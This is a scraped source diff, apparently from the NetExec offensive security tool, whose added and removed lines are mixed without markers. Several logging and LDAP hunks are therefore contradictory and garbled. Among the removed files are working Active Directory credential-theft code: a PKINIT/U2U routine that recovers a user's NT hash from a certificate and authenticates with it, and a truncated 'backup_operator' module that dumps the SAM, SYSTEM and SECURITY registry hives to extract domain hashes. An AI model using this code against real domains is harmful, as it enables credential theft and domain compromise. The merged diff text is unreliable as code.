# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
create_workspace("default")
-11
View File
@@ -29,17 +29,6 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
if not exists(CONFIG_PATH):
+1 -16
View File
@@ -1,5 +1,4 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
@@ -8,18 +7,4 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
return help_string
-538
View File
@@ -1,538 +0,0 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import logging
import random
import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
logging.info("AS-REP encryption key (you might need this later):")
logging.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
if logging.getLogger().level == logging.DEBUG:
print("TYPE 0x%x" % infoBuffer["ulType"])
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
if logging.getLogger().level == logging.DEBUG:
credinfo.dump()
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
if logging.getLogger().level == logging.DEBUG:
pcc.dump()
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
if logging.getLogger().level == logging.DEBUG:
credstruct.dump()
logging.info("Recovered NT Hash")
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug("AUTHENTICATOR")
print(authenticator.prettyPrint())
print("\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
logging.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug("TGS_REP")
print(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
+32 -22
View File
@@ -3,8 +3,8 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -21,47 +21,47 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -71,7 +71,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -80,7 +80,7 @@ def no_debug(func):
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None, merge_extra=False):
def __init__(self, extra=None):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
@@ -89,13 +89,11 @@ class NXCAdapter(logging.LoggerAdapter):
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
@@ -165,16 +163,15 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -182,7 +179,7 @@ class NXCAdapter(logging.LoggerAdapter):
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
with file_handler._open() as f:
if file_creation:
@@ -196,14 +193,27 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
return os.path.join(
NXC_PATH,
os.path.expanduser("~/.nxc"),
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
+3 -3
View File
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
+1 -2
View File
@@ -102,9 +102,8 @@ class NXCModule:
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
-143
View File
@@ -1,143 +0,0 @@
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
